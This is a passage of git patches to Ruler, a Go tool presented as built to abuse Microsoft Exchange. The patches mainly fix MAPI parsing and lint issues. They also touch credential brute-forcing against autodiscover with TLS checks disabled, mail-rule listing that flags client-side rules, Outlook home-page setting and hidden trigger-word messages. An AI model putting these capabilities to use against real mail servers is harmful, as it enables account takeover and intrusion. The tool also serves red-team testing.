9780f29..3110228 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1447,6 +1447,10 @@ func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) //error code if MAPIHTTP else this is also the buffer size execResponse.Flags, pos = utils.ReadUint32(pos, resp) execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) + //Empty Rop Buffer indicates there is a problem... + if execResponse.RopBufferSize == 0 { + return fmt.Errorf("Empty Rop Buffer returned. Likely a malformed request was sent.") + } if len(resp) < pos+int(execResponse.RopBufferSize) { //buf, pos = utils.ReadBytes(pos, (len(resp)-pos)+8, resp) //execResponse.RopBuffer = buf @@ -2242,14 +2246,24 @@ func (actionData *ActionData) Unmarshal(resp []byte) (int, error) { return pos, nil } +//GetData is a wrapper function for RopGetPropertiesSpecificResponse struct, allows retrieving the values stored in RowData func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) GetData() []PropertyRow { return ropGetPropertiesSpecificResponse.RowData } +//GetData is a wrapper function for RopGetPropertiesAllResponse struct, allows retrieving the values stored in PropertyValues func (ropGetPropertiesAllResponse *RopGetPropertiesAllResponse) GetData() []PropertyRow { return ropGetPropertiesAllResponse.PropertyValues } +//GetData is a wrapper function for RopQueryRowsResponse struct, allows retrieving the values stored in the first row of RowData +func (queryRows *RopQueryRowsResponse) GetData() []PropertyRow { + if len(queryRows.RowData) > 0 { + return queryRows.RowData[0] + } + return nil +} + //Unmarshal func func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmarshal(resp []byte, columns []PropertyTag) (int, error) { pos := 0 diff --git a/mapi/mapi.go b/mapi/mapi.go index 3f6ae5d..b09335a 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -125,30 +125,29 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { var err error if AuthSession.Transport == HTTP { //this is always going to be an "Execute" request if rawResp, err = mapiRequestHTTP(AuthSession.URL.String(), "Execute", mapi.Marshal()); err != nil { - utils.Debug.Println(rawResp) + utils.Debug.Printf("%s\n", hex.Dump(rawResp)) return nil, err } } else { if rawResp, err = mapiRequestRPC(mapi); err != nil { - utils.Debug.Println(rawResp) + utils.Debug.Printf("%s\n", hex.Dump(rawResp)) return nil, err } } //debug flag //utils.Debug.Printf("%s\n", hex.Dump(rawResp)) - //utils.Debug.Println(string(rawResp)) executeResponse := ExecuteResponse{} - executeResponse.Unmarshal(rawResp) + err = executeResponse.Unmarshal(rawResp) - if len(executeResponse.RopBuffer.Body) == 0 { - return nil, ErrEmptyBuffer - } - - if executeResponse.ErrorCode == 255 { + if executeResponse.ErrorCode == 255 || err != nil { utils.Debug.Printf("%s\n", hex.Dump(rawResp)) return nil, ErrNonZeroStatus } + if len(executeResponse.RopBuffer.Body) == 0 { + return nil, ErrEmptyBuffer + } + return &executeResponse, nil } @@ -177,7 +176,6 @@ func mapiRequestHTTP(URL, mapiType string, body []byte) ([]byte, error) { resp, err := client.Do(req) if err != nil { - utils.Trace.Println("v") //check if this error was because of ntml auth when basic auth was expected. if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { resp, err = client.Do(req) @@ -787,7 +785,7 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, } -//GetMessage returns the specific fields from a message +//GetPropertyIds returns the specific fields from a message func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGetPropertyIdsFromNamesResponse, error) { execRequest := ExecuteRequest{} @@ -1553,7 +1551,8 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro } -func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { +//OpenAttachment allows for opening the attachment associated with a message +func OpenAttachment(folderid, messageid []byte, attachid uint32, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1571,7 +1570,7 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope fullReq = append(fullReq, getMessage.Marshal()...) getAttachmentTbl := RopGetAttachmentTableRequest{RopID: 0x21, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, TableFlags: 0x00} - getAttachment := RopOpenAttachmentRequest{RopID: 0x022, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, OpenAttachmentFlags: 0x01, AttachmentID: attachId} + getAttachment := RopOpenAttachmentRequest{RopID: 0x022, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, OpenAttachmentFlags: 0x01, AttachmentID: attachid} fullReq = append(fullReq, getAttachmentTbl.Marshal()...) fullReq = append(fullReq, getAttachment.Marshal()...) @@ -2325,10 +2324,8 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ return nil, e } rows := RopQueryRowsResponse{} - //TODO - if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { - return nil, e - } + propRops := []GetProperties{&rows} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, setColumns.PropertyTags) return &rows, e diff --git a/mapi/restrictionDatastructs.go b/mapi/restrictionDatastructs.go index dbda507..7fe5f84 100644 --- a/mapi/restrictionDatastructs.go +++ b/mapi/restrictionDatastructs.go @@ -66,6 +66,14 @@ type AndRestriction struct { Restricts []Restriction } +//OrRestriction structure describes a combination of nested conditions that need to be +//OR'ed with each other +type OrRestriction struct { + RestrictType uint8 //0x01 + RestrictCount uint16 + Restricts []Restriction +} + //NotRestriction is used to apply a logical NOT operation to a single restriction type NotRestriction struct { RestrictType uint8 //0x02 @@ -90,6 +98,11 @@ func (restriction AndRestriction) Marshal() []byte { return utils.BodyToBytes(restriction) } +//Marshal turn OrResetriction into Bytes +func (restriction OrRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + //Marshal turn NotRestriction into Bytes func (restriction NotRestriction) Marshal() []byte { return utils.BodyToBytes(restriction) diff --git a/ruler.go b/ruler.go index 0168688..4ea66a4 100644 --- a/ruler.go +++ b/ruler.go @@ -510,28 +510,51 @@ func connect(c *cli.Context) error { } func printRules() error { - rules, er := mapi.DisplayRules() + //rules, er := mapi.DisplayRules() + cols := make([]mapi.PropertyTag, 3) + cols[0] = mapi.PidTagRuleName + cols[1] = mapi.PidTagRuleID + cols[2] = mapi.PidTagRuleActions + + rows, er := mapi.FetchRules(cols) if er != nil { return er } - if len(rules) > 0 { - utils.Info.Printf("Found %d rules\n", len(rules)) + if rows.RowCount > 0 { + utils.Info.Printf("Found %d rules\n", rows.RowCount) maxwidth := 30 - for _, v := range rules { - if len(string(v.RuleName)) > maxwidth { - maxwidth = len(string(v.RuleName)) + for k := 0; k < int(rows.RowCount); k++ { + if len(string(rows.RowData[k][0].ValueArray)) > maxwidth { + maxwidth = len(string(rows.RowData[k][0].ValueArray)) } } maxwidth -= 10 - fmstr1 := fmt.Sprintf("%%-%ds | %%-s\n", maxwidth) - fmstr2 := fmt.Sprintf("%%-%ds | %%x\n", maxwidth) - utils.Info.Printf(fmstr1, "Rule Name", "Rule ID") - utils.Info.Printf("%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18)) - for _, v := range rules { - utils.Info.Printf(fmstr2, string(utils.FromUnicode(v.RuleName)), v.RuleID) + fmstr1 := fmt.Sprintf("%%-%ds | %%-16s | %%-s\n", maxwidth) + fmstr2 := fmt.Sprintf("%%-%ds | %%x | %%s\n", maxwidth) + utils.Info.Printf(fmstr1, "Rule Name", "Rule ID", "Client-Side") + utils.Info.Printf("%s|%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18), strings.Repeat("-", 11)) + for k := 0; k < int(rows.RowCount); k++ { + clientSide := false + clientApp := "" + rd := mapi.RuleAction{} + rd.Unmarshal(rows.RowData[k][2].ValueArray) + if rd.ActionType == 0x05 { + for _, a := range rd.ActionData.Conditions { + if a.Tag[1] == 0x49 { + clientSide = true + clientApp = string(utils.FromUnicode(a.Value)) + break + } + } + } + if clientSide == true { + utils.Info.Printf(fmstr2, string(utils.FromUnicode(rows.RowData[k][0].ValueArray)), rows.RowData[k][1].ValueArray, fmt.Sprintf("* %s", clientApp)) + } else { + utils.Info.Printf(fmstr2, string(utils.FromUnicode(rows.RowData[k][0].ValueArray)), rows.RowData[k][1].ValueArray, "") + } } utils.Info.Println() } else { @@ -848,24 +871,45 @@ func searchFolders(c *cli.Context) error { restrict := mapi.AndRestriction{RestrictType: 0x00} restrict.RestrictCount = uint16(2) - //restrict PidTagBody + var orRestrict mapi.OrRestriction + + //restrict by subject or PidTagBody restrictContent := mapi.ContentRestriction{RestrictType: 0x03} restrictContent.FuzzyLevelLow = mapi.FLSUBSTRING restrictContent.FuzzyLevelHigh = mapi.FLIGNORECASE - restrictContent.PropertyTag = mapi.PidTagBody + if c.Bool("subject") == true { + restrictContent.PropertyTag = mapi.PidTagSubject + } else { + restrictContent.PropertyTag = mapi.PidTagBody + } restrictContent.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))} - //restrict PidTagHTMLBody + //restrict by PidTagBodyHTML if subject is not set + restrictHTML := mapi.ContentRestriction{RestrictType: 0x03} + restrictHTML.FuzzyLevelLow = mapi.FLSUBSTRING + restrictHTML.FuzzyLevelHigh = mapi.FLIGNORECASE + restrictHTML.PropertyTag = mapi.PidTagSubject + restrictHTML.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))} + //Restrict to IPM.Note restrictContent2 := mapi.ContentRestriction{RestrictType: 0x03} restrictContent2.FuzzyLevelLow = mapi.FLPREFIX restrictContent2.FuzzyLevelHigh = mapi.FLIGNORECASE restrictContent2.PropertyTag = mapi.PidTagMessageClass restrictContent2.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Note")} - restrict.Restricts = []mapi.Restriction{restrictContent, restrictContent2} + if c.Bool("subject") == true { + restrict.Restricts = []mapi.Restriction{restrictContent, restrictContent2} + } else { + orRestrict = mapi.OrRestriction{RestrictType: 0x01} + orRestrict.RestrictCount = uint16(2) + orRestrict.Restricts = []mapi.Restriction{restrictContent, restrictHTML} + restrict.Restricts = []mapi.Restriction{orRestrict, restrictContent2} + } - mapi.SetSearchCriteria(folderids, searchFolder, restrict) + if _, err := mapi.SetSearchCriteria(folderids, searchFolder, restrict); err != nil { + return fmt.Errorf("Unable to set search criteria: %s", err) + } utils.Info.Println("Waiting for search folder to populate") for x := 0; x < 1; x++ { @@ -899,7 +943,10 @@ func searchFolders(c *cli.Context) error { //convert buffer to rows messagerows := mapi.DecodeBufferToRows(buff.TransferBuffer, columns) - payload := utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4]) + payload := "" + if len(messagerows[0].ValueArray) > 4 { + payload = utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4]) + } utils.Info.Printf("Subject: %s\nBody: %s\n", messageSubject, payload) } @@ -1660,6 +1707,9 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, }, Action: func(c *cli.Context) error { + if c.String("term") == "" { + return cli.NewExitError("You need to supply a valid search term. Use --term ", 1) + } err := connect(c) if err != nil { utils.Error.Println(err) From f6ad299c9f08d2553001c08a67794ccf4894acc7 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Mon, 11 Sep 2017 18:15:13 +0200 Subject: [PATCH 30/35] Linter - clean up to conform with best practices --- ruler.go | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/ruler.go b/ruler.go index 4ea66a4..b28b300 100644 --- a/ruler.go +++ b/ruler.go @@ -45,7 +45,7 @@ func discover(c *cli.Context) error { } if c.Bool("dump") == true && (c.GlobalString("username") == "" && c.GlobalString("email") == "") { - return fmt.Errorf("--dump requires credentials to be set!") + return fmt.Errorf("--dump requires credentials to be set") } if c.Bool("dump") == true && c.String("out") == "" { @@ -107,7 +107,7 @@ func discover(c *cli.Context) error { fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) _, err := fout.WriteString(domain) if err != nil { - return fmt.Errorf("Couldn't write to file for some reason..", err) + return fmt.Errorf("Couldn't write to file for some reason... %s", err) } } else { utils.Info.Printf("Looks like the autodiscover service is at: %s \n", domain) @@ -787,7 +787,7 @@ func createHomePage(c *cli.Context) error { prop := wvpObjectStream.Marshal() folderid := mapi.AuthSession.Folderids[mapi.INBOX] propertyTags := make([]mapi.TaggedPropertyValue, 1) - propertyTags[0] = mapi.TaggedPropertyValue{mapi.PidTagFolderWebViewInfo, append(utils.COUNT(len(prop)), prop...)} + propertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagFolderWebViewInfo, PropertyValue: append(utils.COUNT(len(prop)), prop...)} if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil { return e @@ -814,10 +814,10 @@ func displayHomePage() error { if utils.FromUnicode(wvp.Value) == "" { utils.Info.Println("No endpoint set") return nil - } else { - utils.Info.Printf("Found endpoint: %s\n", utils.FromUnicode(wvp.Value)) } + utils.Info.Printf("Found endpoint: %s\n", utils.FromUnicode(wvp.Value)) + if wvp.Flags == 0 { utils.Info.Println("Webview is set as DISABLED") } else { @@ -836,7 +836,7 @@ func deleteHomePage() error { prop := wvpObjectStream.Marshal() folderid := mapi.AuthSession.Folderids[mapi.INBOX] propertyTags := make([]mapi.TaggedPropertyValue, 1) - propertyTags[0] = mapi.TaggedPropertyValue{mapi.PidTagFolderWebViewInfo, append(utils.COUNT(len(prop)), prop...)} + propertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagFolderWebViewInfo, PropertyValue: append(utils.COUNT(len(prop)), prop...)} if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil { return e From d0860b5dfd35889e8b9af156f345bfa8fbee3d92 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Wed, 13 Sep 2017 16:44:52 +0200 Subject: [PATCH 31/35] Adds ability to process fragmented RPC messages that are more than 2 fragments in length. Few more code clean-ups, start using utils.EncodeNum for numbers instead of building the []byte{} manually in properties. --- mapi/datastructs.go | 5 +++++ mapi/mapi.go | 22 +++++++++++----------- mapi/ropids.go | 14 ++++++++++++++ rpc-http/rpctransport.go | 8 +++++--- 4 files changed, 35 insertions(+), 14 deletions(-) create mode 100644 mapi/ropids.go diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 3110228..5018996 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1126,6 +1126,11 @@ type Request interface { Marshal() []byte } +/* +func RopOpenFolderRequest() Request { + return RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} +}*/ + //Marshal turn ExecuteRequest into Bytes func (execRequest ExecuteRequest) Marshal() []byte { execRequest.CalcSizes(false) diff --git a/mapi/mapi.go b/mapi/mapi.go index b09335a..b675b7f 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -574,7 +574,7 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm getMessage.FolderID = folderID getMessage.MessageID = messageID getMessage.CodePageID = 0xFFF - getMessage.OpenModeFlags = 0x03 + getMessage.OpenModeFlags = 0x03 //BestAccess fullReq := getMessage.Marshal() @@ -595,7 +595,7 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm modRecipients.RowCount = 0x0001 modRecipients.RecipientRows = make([]ModifyRecipientRow, modRecipients.RowCount) - modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 0x00000001, RecipientType: 0x00000001} + modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 1, RecipientType: 1} modRecipients.RecipientRows[0].RecipientRow = RecipientRow{} modRecipients.RecipientRows[0].RecipientRow.RecipientFlags = 0x0008 | 0x0003 | 0x0200 | 0x0010 | 0x3 | 0x0020 modRecipients.RecipientRows[0].RecipientRow.EmailAddress = utils.UniString(recipient) //email address @@ -663,11 +663,11 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) propertyTags[0] = TaggedPropertyValue{PidTagBody, utils.UniString(fmt.Sprintf("%s\n\r", body))} propertyTags[1] = TaggedPropertyValue{PropertyTag{PtypString, 0x001A}, utils.UniString("IPM.Note")} - propertyTags[2] = TaggedPropertyValue{PidTagMessageFlags, []byte{0x00, 0x00, 0x00, 0x08}} //unsent + propertyTags[2] = TaggedPropertyValue{PidTagMessageFlags, utils.EncodeNum(uint32(8))} //[]byte{0x00, 0x00, 0x00, 0x08}} //unsent propertyTags[3] = TaggedPropertyValue{PidTagConversationTopic, utils.UniString(triggerWord)} - propertyTags[4] = TaggedPropertyValue{PropertyTag: PidTagIconIndex, PropertyValue: []byte{0x00, 0x00, 0x00, 0x01}} + propertyTags[4] = TaggedPropertyValue{PropertyTag: PidTagIconIndex, PropertyValue: utils.EncodeNum(uint32(1))} //[]byte{0x00, 0x00, 0x00, 0x01}} propertyTags[5] = TaggedPropertyValue{PropertyTag: PidTagMessageEditorFormat, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} - propertyTags[5] = TaggedPropertyValue{PidTagNativeBody, []byte{0x00, 0x00, 0x00, 0x01}} + propertyTags[5] = TaggedPropertyValue{PidTagNativeBody, utils.EncodeNum(uint32(1))} //[]byte{0x00, 0x00, 0x00, 0x01}} propertyTags[6] = TaggedPropertyValue{PidTagSubject, utils.UniString(triggerWord)} propertyTags[7] = TaggedPropertyValue{PidTagNormalizedSubject, utils.UniString(triggerWord)} propertyTags[8] = TaggedPropertyValue{PidTagHidden, []byte{0x01}} //hide message during "composition" @@ -699,7 +699,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { modRecipients.RowCount = 0x0001 modRecipients.RecipientRows = make([]ModifyRecipientRow, modRecipients.RowCount) - modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 0x00000001, RecipientType: 0x00000001} + modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 1, RecipientType: 1} modRecipients.RecipientRows[0].RecipientRow = RecipientRow{} modRecipients.RecipientRows[0].RecipientRow.RecipientFlags = 0x0008 | 0x0003 | 0x0200 | 0x0010 | 0x3 | 0x0020 modRecipients.RecipientRows[0].RecipientRow.EmailAddress = utils.UniString(AuthSession.Email) //email address @@ -710,14 +710,14 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { modRecipients.RecipientRows[0].RecipientRow.RecipientProperties = StandardPropertyRow{Flag: 0x00} modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray = make([][]byte, modRecipients.RecipientRows[0].RecipientRow.RecipientColumnCount) - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[0] = []byte{0x06, 0x00, 0x00, 0x00} - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[1] = []byte{0x00, 0x00, 0x00, 0x00} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[0] = utils.EncodeNum(uint32(6)) //[]byte{0x00, 0x00, 0x00, 0x06} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[1] = utils.EncodeNum(uint32(0)) //[]byte{0x00, 0x00, 0x00, 0x00} modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[2] = utils.UniString(AuthSession.Email) - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[3] = []byte{0x00, 0x00, 0x00, 0x00} - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[4] = []byte{0x00, 0x00, 0x00, 0x40} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[3] = utils.EncodeNum(uint32(0)) //[]byte{0x00, 0x00, 0x00, 0x00} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[4] = utils.EncodeNum(uint32(64)) //[]byte{0x00, 0x00, 0x00, 0x40} modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[5] = utils.UniString("Self") modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[6] = []byte{0x01, 0x00, 0x00, 0x00} - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[7] = []byte{0x00, 0x00, 0x00, 0x00} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[7] = utils.EncodeNum(uint32(0)) //[]byte{0x00, 0x00, 0x00, 0x00} modRecipients.RecipientRows[0].RecipientRowSize = uint16(len(utils.BodyToBytes(modRecipients.RecipientRows[0].RecipientRow))) fullReq = append(fullReq, modRecipients.Marshal()...) diff --git a/mapi/ropids.go b/mapi/ropids.go new file mode 100644 index 0000000..70e75ff --- /dev/null +++ b/mapi/ropids.go @@ -0,0 +1,14 @@ +package mapi + +type ropid uint8 + +const ( + RopReserved ropid = 0x00 + RopRelease ropid = 0x01 + RopOpenFolder + RopOpenMessage + RopGetHierarchyTable + RopGetContentsTable + RopCreateMessage + RopGetPropertiesSpecific +) diff --git a/rpc-http/rpctransport.go b/rpc-http/rpctransport.go index 7fe331e..afeaad5 100644 --- a/rpc-http/rpctransport.go +++ b/rpc-http/rpctransport.go @@ -240,13 +240,15 @@ func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) ( r.Body = b mutex.Lock() //lets be safe, lock the responses array before adding a new value to it - //if the PFCFlag is set to 2, this packet is fragment of the previous packet + //if the PFCFlag is set to 0 or 2, this packet is fragment of the previous packet //take the PDU of this packet and append it to our previous packet - if r.Header.PFCFlags == uint8(2) { + if r.Header.PFCFlags == uint8(2) || r.Header.PFCFlags == uint8(0) { for k, v := range responses { if v.Header.CallID == r.Header.CallID { responses[k].PDU = append(v.PDU, r.PDU...) - responses[k].Header.PFCFlags = 3 + if r.Header.PFCFlags == uint8(2) { + responses[k].Header.PFCFlags = 3 + } break } } From a6640336a6c376fbbb98a6c5b200809ba67dc063 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 28 Sep 2017 21:34:57 -0300 Subject: [PATCH 32/35] minor changes, some visual and change login id --- autodiscover/brute.go | 22 +++++++++++----------- mapi/datastructs.go | 44 ++++++++++++++++++++++--------------------- mapi/mapi.go | 4 ++-- 3 files changed, 36 insertions(+), 34 deletions(-) diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 3c2821a..507cd7d 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -1,6 +1,7 @@ package autodiscover import ( + "crypto/tls" "fmt" "io/ioutil" "net/http" @@ -8,7 +9,6 @@ import ( "regexp" "strings" "time" - "crypto/tls" "github.com/sensepost/ruler/http-ntlm" "github.com/sensepost/ruler/utils" @@ -57,10 +57,10 @@ func autodiscoverDomain(domain string) string { req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - client := http.Client{Transport:tr} + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := http.Client{Transport: tr} resp, err := client.Do(req) if err != nil { @@ -111,7 +111,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu if u == "" || p == "" { continue } - time.Sleep(time.Millisecond * 500) //lets not flood it + time.Sleep(time.Millisecond * 500) //lets not flood it sem <- true go func(u string, p string, i int) { @@ -186,7 +186,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces if u == "" { continue } - time.Sleep(time.Millisecond * 500) //lets not flood it + time.Sleep(time.Millisecond * 500) //lets not flood it sem <- true go func(u string, p string) { @@ -234,10 +234,10 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul result := Result{user, password, -1, -1, nil} cookie, _ := cookiejar.New(nil) - tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - DisableKeepAlives:true, //should fix mutex issues - } - client := http.Client{Transport:tr} + tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + DisableKeepAlives: true, //should fix mutex issues + } + client := http.Client{Transport: tr} if basic == false { //check if this is a first request or a redirect //create an ntml http client diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 5018996..77a4b09 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1448,28 +1448,30 @@ func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { if execResponse.StatusCode == 255 { //error occurred.. execResponse.AuxilliaryBufSize, pos = utils.ReadUint32(pos, resp) execResponse.AuxilliaryBuf = resp[8 : 8+execResponse.AuxilliaryBufSize] - } else { - execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) //error code if MAPIHTTP else this is also the buffer size - execResponse.Flags, pos = utils.ReadUint32(pos, resp) - execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) - //Empty Rop Buffer indicates there is a problem... - if execResponse.RopBufferSize == 0 { - return fmt.Errorf("Empty Rop Buffer returned. Likely a malformed request was sent.") - } - if len(resp) < pos+int(execResponse.RopBufferSize) { - //buf, pos = utils.ReadBytes(pos, (len(resp)-pos)+8, resp) - //execResponse.RopBuffer = buf - //execResponse.AuxilliaryBufSize = uint32(0) - return fmt.Errorf("Packet size mismatch. RopBuffer Size %d, got packet of %d", execResponse.RopBufferSize, len(resp)) - } - //parse out ROPBuffer header and body - rpbuff := RopBufferResp{} - rpbuff.Header, pos = utils.ReadBytes(pos, 10, resp) - rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-10, resp) - execResponse.RopBuffer = rpbuff - execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) - //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) + return fmt.Errorf("Non-Zero status-code returned") + } + + execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) //error code if MAPIHTTP else this is also the buffer size + if execResponse.ErrorCode == 0x000004B6 { //ecRpcFormat + return fmt.Errorf("ecRPCFormat error response. Indicates a malformed request") + } + execResponse.Flags, pos = utils.ReadUint32(pos, resp) + execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) + //Empty Rop Buffer indicates there is a problem... + if execResponse.RopBufferSize == 0 { + return fmt.Errorf("Empty Rop Buffer returned. Likely a malformed request was sent.") } + if len(resp) < pos+int(execResponse.RopBufferSize) { + return fmt.Errorf("Packet size mismatch. RopBuffer Size %d, got packet of %d", execResponse.RopBufferSize, len(resp)) + } + //parse out ROPBuffer header and body + rpbuff := RopBufferResp{} + rpbuff.Header, pos = utils.ReadBytes(pos, 10, resp) + rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-10, resp) + execResponse.RopBuffer = rpbuff + //execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) + //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) + return nil } diff --git a/mapi/mapi.go b/mapi/mapi.go index b675b7f..37b60db 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -94,7 +94,7 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession.Transport = transport AuthSession.ClientSet = false AuthSession.ReqCounter = 1 - AuthSession.LogonID = 0x0c + AuthSession.LogonID = 0x06 AuthSession.Authenticated = false //default to Encrypt + Sign for NTLM @@ -135,7 +135,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { } } //debug flag - //utils.Debug.Printf("%s\n", hex.Dump(rawResp)) + executeResponse := ExecuteResponse{} err = executeResponse.Unmarshal(rawResp) From bef43cb2c2865a0f50553655eae0b66212807ee3 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Wed, 4 Oct 2017 09:24:08 +0200 Subject: [PATCH 33/35] Fixes to brute.go and autodiscover * Fixed autodiscover to also check https://domain/autodiscover/autodiscover.xml - it was previously only checking autodiscover.domain * Refactor brute.go - new Init method to setup the session * Add option to control concurrency with --threads * Fix bruting when going up against Office365 - don't try do NTLM auth and then basic. Just go straight to basic * Hopefully fixed mutex issues that existed before --- autodiscover/autodiscover.go | 8 ++-- autodiscover/brute.go | 91 ++++++++++++++++++++++++------------ ruler.go | 32 +++++++------ 3 files changed, 83 insertions(+), 48 deletions(-) diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index cb44069..6680af3 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -272,27 +272,25 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er } else { //create the autodiscover url if autodiscoverStep == 0 { - autodiscoverURL = createAutodiscover(domain, true) + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 1 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 2 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) + autodiscoverURL = createAutodiscover(domain, true) if autodiscoverURL == "" { return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found") } } } - utils.Trace.Printf("Autodiscover step %d - URL: %s\n", 